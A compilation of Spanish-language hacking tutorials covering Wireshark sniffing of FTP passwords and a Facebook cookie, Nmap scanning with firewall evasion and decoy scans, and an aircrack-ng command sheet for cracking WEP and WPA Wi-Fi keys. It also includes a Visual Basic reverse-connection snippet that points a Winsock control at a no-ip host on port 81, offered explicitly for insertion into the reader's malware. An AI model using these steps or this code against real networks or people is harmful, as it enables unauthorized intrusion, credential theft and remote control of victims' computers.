Sniffing con Wireshark

Introducción.

Wireshark es un analizador de paquetes de red, comúnmente llamado sniffer.
Es utilizado por administradores de redes para ver todo el tráfico que está pasando en un momento específico.
Una de las ventajas que tiene, es que es open source y multiplataforma.
Wireshark ofrece distintos tipos de filtros para leer los paquetes. Captura a demás cookies y passwords que veremos a continuación en este paper.
Para instalar wireshark simplemente hay que ir a su página oficial y descargarlo.
http://www.wireshark.org/download.html
Desde linux, se puede descargar desde la consola.

Sudo apt-get install wireshark

Partes de Wireshark

Enumere las partes más importantes del Wireshark para describirlas por separado.
1 – Muestra un listado de las interfaces disponibles que podemos poner a la escucha de paquetes.
2 – Permite configurar algunos parámetros de nuestra interface
3 – El filtro permite filtras paquetes separándolos por IP, protocolos, etc
4 – Listado de paquetes. Muestra un resumen de los paquetes capturados, presionando con el otro botón del mouse se listaran opciones disponibles para manejarlos a gusto.
5 – Panel de vista en Árbol. Muestra el paquete seleccionado con mayor detalle.
6 – Panel de detalle  de los datos. Muestra los datos del panel superior en formato hexadecimal y ascii

También podemos ver en el menú superior las siguientes opciones:

File: Contiene las funciones para manipular archivos y para cerrar la aplicación Wireshark.
Edit: Este se puede aplicar funciones a los paquetes, por ejemplo, buscar un paquetes especifico, aplicar una marca al paquete y configurar la interfaz de usuario.
View: Permite configurar el despliegue del paquete capturado.
Go: Desde acá podemos ir a un paquete especifico, volver atrás, adelante, etc.
Capture: Para iniciar y detener la captura de paquetes.
Analyze: Desde analyze podemos manipular los filtros, habilitar o deshabilitar protocolos, flujos de paquetes, etc.
Statistics: Podemos definir u obtener las estadísticas del trafico capturado.
Telephony: Trae herramientas para telefonía.
Tools: Opciones para el firewall
Internal: Parámetros internos de Wireshark
Help: Menú de ayuda.

Primeros pasos con Wireshark

Una vez instalado, lo abrimos y presionamos sobre el icono marcado en rojo en la imagen

Esto nos permitirá seleccionar nuestra tarjeta de red que pondremos a la escucha de paquetes.

Para saber que tarjeta poner a la escucha, debemos observar cual es la que recibe paquetes.
Se puede observar en la imagen que en mi caso es la wlan0. Una vez identificada, damos en Start para comenzar.
Automáticamente el programa comenzara a capturar paquetes de todos los hosts conectados a la red.
Ahora navegare un poco con mis ordenadores por internet para ver que podemos capturar.

Les mostrare un ejemplo de cómo se manifestó mi wireshark cuando hice un apt-get install en la consola de Linux

Ahí podemos ver de que ip a que ip se mueven los paquetes y porque protocolo. A demás de esto podemos ver el contenido del paquete que lo veremos más adelante en este mismo paper.
Si observamos la imagen, hay una caja de texto llamada Filter.

Esa caja de texto, como bien dice su nombre, permite filtrar paquetes. Y ahora veremos algunos de los filtros que posee Wireshark para que podamos usar este sniffer de una forma más eficiente.
En el filtro se pueden usar operadores lógicos como los siguientes:
== (Igual que)
> (Mayor que)
< (Menor que)
!= (Distinto que)
>= (Mayor o igual que)
<= (Menor o igual que)
Basándome en el paper de Datasecurity, les dejo a continuación los parámetros más usados en este sniffer

Filtros por IP

[En todos los ejemplos, reemplazar 0.0.0.0 por la ip a filtrar]
ip.addr = = 0.0.0.0
ip.addr = = 0.0.0.0 && ip.addr = = 0.0.0.0 (Para filtrar más de una IP )
ip.addr = = 0.0.0.0 || ip.addr = = 0.0.0.0 (Para filtrar una IP de cualquiera de las dos)
Para filtrar paquetes de la fuente en direcciones IPv4 especificas:
ip.src == 0.0.0.0
ip.src == 0.0.0.0 && ip.src == 0.0.0.0 (Para filtrar más de una IP )
ip.src == 0.0.0.0 || ip.src == 0.0.0.0 (Para filtrar una IP de cualquiera de las dos)
Para filtrar paquetes del destino en direcciones IPv4 especificas:
ip.dst == 0.0.0.0
ip.dst == 0.0.0.0 && ip.dst == 0.0.0.0 (Para filtrar más de una IP )
ip.dst == 0.0.0.0 || ip.dst == 0.0.0.0 (Para filtrar una IP de cualquiera de las dos) 
Nota: Para direcciones IP v6 utilice: ipv6.addr, ipv6.src, ipv6.dst, etc.

Para filtrar paquetes del protocolo ARP entre:
arp.src.proto (dirección del protocolo de la fuente)
arp.src.hw (dirección hardware de la fuente)
arp.dst.hw (dirección hardware del destino)
arp.src.hw_mac (dirección MAC de la fuente)
arp.dst.hw_mac (dirección MAC del destino)
arp.src.proto_ipv4 (dirección IPv4 de la fuente )
arp.dst.proto_ipv4 (dirección IPv4 del destino)
Para filtrar paquetes del protocolo Ethernet:
eth.dst == ff:ff:ff:ff:ff:ff (dirección MAC)
eth.src == ff:ff:ff:ff:ff:ff (dirección MAC)
eth.addr == ff:ff:ff:ff:ff:ff (dirección MAC)
Veremos un ejemplo con uno de los filtros: ip.addr == 192.168.1.37

En este caso me debería mostrar los paquetes correspondientes a la ip 192.168.1.37
Se puede ver en verde también 192.168.1.1 y esto es porque hace petición al router.

Filtro por protocolo

Como vimos hasta ahora, este filtro es muy poderoso, pero se darán cuenta de su potencial ahora que filtraremos por protocolo.
Algunos de los filtros son estos: tcp, http, pop, dns, arp, ssl, etc.
Con un Sniffer podemos obtener datos muy importantes. Desde cookies hasta usuarios y contraseñas. A modo ejemplo, abriré un FTP y veremos lo que hace nuestro Wireshark:

Como se puede ver, solo filtre el protocolo FTP. Y tambien notaremos que sacó mi user y pass del FTP.
Veremos ahora otros de los protocolos que suele capturar. En este caso hare un ping a mi blog www.antrax-labs.org

La imagen muestra el protocolo DNS e ICMP. Que si los añadimos en la caja de texto de filtro, nos los filtrara.
Aquí tenemos filtro por DNS

Cabe aclarar que cada protocolo tiene un color diferente (que puede modificarse a gusto) para resaltarlos y distinguirlos con mayor facilidad.

Otros filtros

Veremos ahora otros filtros de gran utilidad, como este otro que nos permite filtrar por dominio o host
http.host == “DOMINIO”
Acá lo que hice fue poner la url de facebook y robo mi cookie. Veremos ahora un ejemplo con otra web, pero filtrando nada más que el protocolo TCP:

Se puede ver de qué ip privada navego hacia que ip publica. En este caso, la ip pública es la del foro infiernohacker y abajo muestra la url de referencia.

Otras opciones de Wireshark

Veremos ahora algo que se llama Go to Packet o ir al paquete. Para usar esta opción basta con ir a GO >> Go to Packet en el menú de la barra superior.
Permite ir a un número de paquete que especifiquemos en el cuadro de texto.

Otras de las opciones muy útiles que tiene Wireshark es la de poder mostrar en formato ascii la lectura de los paquetes capturados para poder así facilitar su entendimiento
Para ir a esta opción colocamos en el filtro HTTP y solo basta con clickear con el botón secundario del mouse y seleccionar Follow TCP Stream

Como se puede ver, se ve mucho más entendible el código y permite tambien pasarlo a Hexadecimal, C Array etc.

Espero que les haya sido de utilidad

ANTRAX

Conexion Inversa

Introducción:

Hola a todos, en este papers les enseñare a crear una conexión inversa para que puedan colocarla luego en sus malwares.
El método que les mostrare es muy sencillo y se puede mejorar muchísimo, pero es para que tengan una idea de cómo se usa.
Lo que necesitaremos para este tutorial será tener una cuenta en www.no-ip.com

NO-IP

Una vez registrados, nos logueamos colocando nuestro mail y pass que colocamos. Seguido a esto, veremos un menú como este:

Vamos a Add a Host y únicamente colocamos el hostname que usaremos. El resto lo dejaremos tal cual esta.

Presionamos en el botón Create Host y listo.

Ahora nos descargamos el cliente para conectarnos a nuestra no-ip que su descarga está disponible en esa misma web.

Una vez descargado, lo instalamos y tendremos algo como lo siguiente:

Nos logueamos con el user y pass con los cuales nos registramos y veremos la no-ip que nos hemos creado:

La activamos y damos en Save

Si tenemos las tres tildes en verde, es porque todo está perfecto. Ahora pasaremos a la programación.

Implementación en el server

Ahora lo que nos quedaría, seria colocarlo en el server.
Agregamos el control Winsock. Vamos al menú en Proyecto y seleccionamos Componentes
Y añadimos el control Microsoft Winsock Control 6.0

 Nos aparecerá un nuevo control con este icono:

Simplemente lo arrastramos hacia adentro del formulario:

Ahora damos doble click sobre el formulario y añadimos el siguiente código:
Private Sub Form_Load()
'Conexion Inversa
Dim ip As String
Dim ipftp As String
Dim port As Integer

ip = "antrax-labs.no-ip.org"
ipftp = "antrax-labs.no-ip.org"
port = 81
WS.RemoteHost = ip
WS.RemotePort = port
tmr_inversa.in terval = "3000"
End Sub
Recuerden cambiar IP, IPFTP por su no-ip y el Puerto por el que tengan abierto en su router.
Como bien dije al principio, esto se puede mejorar y mucho, ya que en lugar de modificar el código fuente del server manualmente se vuelve tedioso y puede ser reemplazado por un edit server o un build server desde el cliente. Pero eso ya quedara para otro tutorial.
Espero que les sirva y hayan entendido como funciona.

Crackear WEP´s - WPA/WPA2/PSK [Resumen de Codigos]

1. WEP`s [ARP request replay attack]:

 NOTA: En todos los casos reemplazar:
 XXXX: Interface
 ZZZZ: Canal
 YYYY: MAC BSSID
 RRR: ESSID

 1.1. Cambiar la MAC:

 A. airmon-ng (Ver la interface que usamos)
 B. airmon-ng stop XXXX (Detenemos el modo monitor)
 C. ifconfig XXXX down (Tiramos nuestra interface)
 D. macchanger --mac 00:11:22:33:44:55 XXXX (Cambiamos nuestra MAC, en este caso sera 00:11:22:33:44:55)
 E. airmon-ng start XXXX (Volvemos a iniciar el modo monitor)

 1.2. Buscar Redes:

 F. airodump-ng XXXX ( Scannea Redes)
 G. CTRL + C (Detiene el scanneo)
 H. airodump-ng -c ZZZZ -w datas --bssid YYYY XXXX (Capturamos IVs) [No cerrar consola]

 1.3. Asociandonos a la red (En otra consola):

 I. aireplay-ng -1 0 -a YYYY -h 00:11:22:33:44:55 -e RRR XXXX (Asociacion con la red)

 1.4 Inyectando Trafico:

 J. aireplay-ng -3 -b YYYY -h 00:11:22:33:44:55 XXXX (Captura Datas a mas velocidad)

 1.5. Desencriptando la Clave (En otra consola):

 K. aircrack-ng datas-01.cap (Desencripta la clave con Aircrack)

 2. WPA/WPA2/PSK:

 NOTA: En todos los casos reemplazar: 
 XXXX: Interface
 ZZZZ: Canal
 YYYY: MAC BSSID
 RRR: Interface modo monitor
 TTTT: Station

 2.1. Colocar la interface en modo monitor

 A. aimon-ng (Saber nuestra Interface)
 B. airmon-ng start XXXX (Colocamos en modo monitor nuestra Interface)

 2.2. Capturando el Handshake:

 C. airodump-ng RRR (Scannea redes)
 D. CTRL + C (Frena el scanneo)
 E. airodump-ng RRR --channel 1 --bssid YYYY -w /tmp/wpa2 (Guardara los *.cap en el directorio que le indicamos)
 F. aireplay-ng -0 1 -a YYYY -c TTTT RRR(Comenzara la captura del Handshake)

 2.3 Obteniendo la Clave:

 G.1. aircrack-ng -w /pentest/passwords/wordlists/wpa.txt -b YYYY /tmp/wpa2*.cap (Saca la Pass por Diccionario)
 G.2. /pentest/passwords/jtr/john --stdout --incremental:all | aircrack-ng -b YYYY -w - /tmp/wpa2*.cap (Saca la Pass por Fuerza Bruta con John The Ripper)

Tazas NMAP [Parametros]

Les traigo esta imagen que hice para que puedan printarla en una taza:

La imagen trae todos los parametros del NMAP y ya tiene las dimensiones para printarla.
Aca les dejo algunas fotos de mi taza



Mapeo de redes con Nmap

Introducción:
Antes de comenzar, quiero resaltar que Zenmap es casi lo mismo que Nmap, la única diferencia es que Nmap es por consola y Zenmap tiene entorno grafico

NMAP
Zenmap
NMAP (Network Mapper o Mapeador de Redes) es una herramienta para scannear puertos abiertos. Se diseño para explorar grandes redes, aunque funciona a perfecto también para hacer mapeos a equipos individuales. A demás de puertos, también dice que servicio lo utiliza y sus versiones. Otra de las cosas que suele mostrar es que filtros o cortafuegos tiene, y a veces hasta el sistema operativo que tiene el equipo entre otras docenas de cosas.
Nmap es una herramienta que se usa mucho en auditorias de seguridad y a demás muchos la usan con fines delictivos. Lo primordial es su tabla de puertos con sus estados que son los siguientes: 

Closed: Cerrado
Open: Abierto
Filtred: Filtrado
Unfiltred: No Filtrado

Abierto significa que la aplicación en la máquina destino se encuentra esperando conexiones o paquetes en ese puerto. Filtrado indica que un cortafuego, filtro, u otro obstáculo en la red está bloqueando el acceso a ese puerto, por lo que Nmap no puede saber si se encuentra abierto o cerrado.  Los puertos cerrados no tienen ninguna aplicación escuchando en los mismos, aunque podrían abrirse en cualquier momento. Los clasificados como no filtrados son aquellos que responden a los sondeos de Nmap, pero para los que que Nmap no puede determinar si se encuentran abiertos o cerrados.
A lo largo de este tutorial se encontraran con parámetros en mayúsculas y minúsculas, es muy importante que los respeten ya que varia su función.

Primeros pasos con Nmap

Haremos un simple mapeo a una red e ip cualquiera, para saber que puertos tiene abiertos
La sintaxis del comando seria así: 

NMAP [Parametro] [Host] 
En este caso no tenemos parámetros ya que es solo un simple mapeo a la IP para observer los puertos abiertos.
Tambien podemos scannear puertos que nosotros queramos, para ello con el parámetro  –p colocamos los puertos separándolos por coma
Sintaxis del comando: 

Nmap –p [Puertos] [Host]
Ejemplo:

Nmap –p 80,135,2000,8080 192.168.1.3
Ahora bien, si queremos ver el sistema operativo que tiene el equipo seria así:

Nmap –O [HOST]
Como se puede ver en el scanneo dice que resulta poco fiable la obtención del sistema operativo por qué no se encontró al menos un puerto abierto o cerrado del sistema operativo. Pero que según el Scanneo puede ser alguno de estos:
Running: Microsoft Windows 2000|XP|2003
Ahora les voy a mostrar algo que suele ocurrir no muy frecuente, pero que si es probable que les pase. Al tirar un mapeo a una pc a la cual no logre identificar su sistema operativo.
Pero que es esa cadena de texto dentro de TCP/IP Fingerprint…?
TCP/IP fingerprint:
OS:SCAN(V=5.59BETA1%D=12/30%OT=21%CT=1%CU=30523%PV=Y%DS=1%DC=D%G=Y%M=0015F2
OS:%TM=4EFDC93D%P=i686-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=109%TI=Z%CI=Z%II=I
OS:%TS=8)OPS(O1=M5B4ST11NW6%O2=M5B4ST11NW6%O3=M5B4NNT11NW6%O4=M5B4ST11NW6%O
OS:5=M5B4ST11NW6%O6=M5B4ST11)WIN(W1=3890%W2=3890%W3=3890%W4=3890%W5=3890%W6
OS:=3890)ECN(R=Y%DF=Y%T=40%W=3908%O=M5B4NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O
OS:%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=3890%S=O%A=S+%F=AS%O=M5B4ST
OS:11NW6%RD=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=
OS:40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=1
OS:64%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Esa cadena es a lo que se llama Huella TCP/IP. NMAP reconoce a un sistema operativo porque cada uno responde de una forma diferente.
En este caso nos muestra esa cadena de texto por qué no logro identificarlo con exactitud.

Ahora veremos hosts activos en una red. Para ello debemos saber la puerta de enlace. En mi caso es 192.168.1.1. Como sabemos, una red puede alojar máximo 255 hosts.  Lo que haremos será un ping scan para saber cuántos hosts hay en mi red. Asi que el comando sería el siguiente:

Nmap –sP 192.168.1.1-255
Veremos un listado como el de la imagen, el cual nos mostrara IPs, MAC, etc…

Puertos y Servicios.

Ahora scannearemos un host, veremos sus puertos, servicios y la versión de sus servicios para saber si se pueden o no explotar.
Tipeamos lo siguiente:

nmap –sV [HOST]
Como se puede ver en la imagen, hay servicios activos en sus respectivos puertos, y en caso de existir un Exploit para explotar dicho servicio, se podría vulnerar y entrar a la pc.
Los comandos se pueden combinar como en el siguiente ejemplo:
Nmap –sV –O [HOST] (Para sacar Servicios, versiones y sistema operativo)
También podemos encontrarnos con Firewalls. Y nmap cuenta con comandos para evadirlos. Uno de ellos es –f
La línea de comando nos quedaría asi:
Nmap –sV –O –f [HOST]
(Para scannear puertos, servicios, versiones y sistema operativo de forma invisible)
Y el resultado sería igual a la imagen anterior.
Como venimos viendo no existe un parámetro mejor o peor que otro,  ya que cada uno de ellos realiza tareas distintas.
Yo les acabo de mostrar los más usuales y ahora veremos que a demás de colocar la ip, también podemos colocar un dominio. por ejemplo:
nmap antrax-labs.org

Evasion de Firewalls [Stealth Scans]

Nmap cuenta con comandos para evadir Firewalls que no estén bien configurados.
Los parámetros para esto son:
-sX (Stealth Xmas Tree Scan, este tipo de scan envía paquetes con los flag FIN, URG, y PUSH activados)
-sN (Stealth, Null Scan, este tipo de scan pone en off todos los flags)
-sF (Stealth FIN Scan, este tipo de scan usa paquetes con el flag FIN activado para las pruebas)
El resultado sera el mismo al scanneo de peurtos normal.
Realiza el scanneo evadiendo el Firewall y muestra los servicios activos y en que puertos están funcionando.
Otro parámetro útil es el -P0, lo que hace este parámetro no enviar ping al objetivo antes del scanneo. De esta manera, el Firewall no bloquea el scanneo.

Exportar Resultados de Scanneos

Nmap permite exportar scanneos en formato *.TXT o *.XML
Los parámetros para ello son: -oN (txt) –oX (xml)
La sintaxis seria:

nmap –sV 192.168.1.1 –oN Desktop/test.txt
Y el texto en este caso quedaría en el Desktop y se vería así:
# Nmap 5.59BETA1 scan initiated Thu Jan  5 20:14:06 2012 as: nmap -sV -oN Desktop/test.txt 192.168.1.1
Nmap scan report for 192.168.1.1
Host is up (0.083s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE VERSION
80/tcp    open  http    TP-LINK WR740N WAP http config
1900/tcp  open  upnp    TP-LINK TL-WR740N WAP UPnP 1.0 (ipos 7.0; UPnP 1.0)
49152/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port49152-TCP:V=5.59BETA1%I=7%D=1/5%Time=4F062EC6%P=x86_64-unknown-linu
SF:x-gnu%r(FourOhFourRequest,52,"HTTP/1\.1\x20404\x20Not\x20Found\r\nConne
SF:ction:\x20close\r\nDate:\x20Fri,\x2006\x20Jan\x202012\x2007:14:10\x20GM
SF:T\r\n\r\n")%r(GetRequest,52,"HTTP/1\.1\x20404\x20Not\x20Found\r\nConnec
SF:tion:\x20close\r\nDate:\x20Fri,\x2006\x20Jan\x202012\x2007:14:10\x20GMT
SF:\r\n\r\n")%r(SIPOptions,44,"HTTP/1\.1\x20501\x20Unimplimented\r\nConnec
SF:tion:\x20close\r\nContent-Length:\x200\r\n\r\n");
MAC Address: D8:5D:4C:C7:DC:EE (Tp-link Technologies Co.)
Service Info: Device: WAP

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
# Nmap done at Thu Jan  5 20:15:46 2012 -- 1 IP address (1 host up) scanned in 100.25 seconds
Despistando al Host con un señuelo (Decoy Scan)

Esto sirve de alguna forma para anonimizar el scanneo. Hace creer al host que lo scannean otros hosts que no es el nuestro.
Sintaxis de parámetros:

nmap –sV –D [host1],[host2] [host]
Ejemplo:

nmap –sV –D 192.168.1.77,192.168.1.211 192.168.1.1
Y en ese caso, pensara que el que scannea es el host 192.168.1.77 y el 192.168.1.211
El resultado del scanneo sera el mismo al de Puertos y Servicios por el parametro -sV
Puertos TCP y UDP
Nmap permite filtrar puertos TCP y UDP. Los parámetros para ellos son:
TCP: -sT
UDP: -sU
Existen otros parámetros, que en este paper no explique, pero si les dejo junto a este paper una imagen que contiene todos los parámetros con una breve descripción de cada uno.


Espero que les sea útil!

Greets to: Sergio Alonso - Pablo Quesada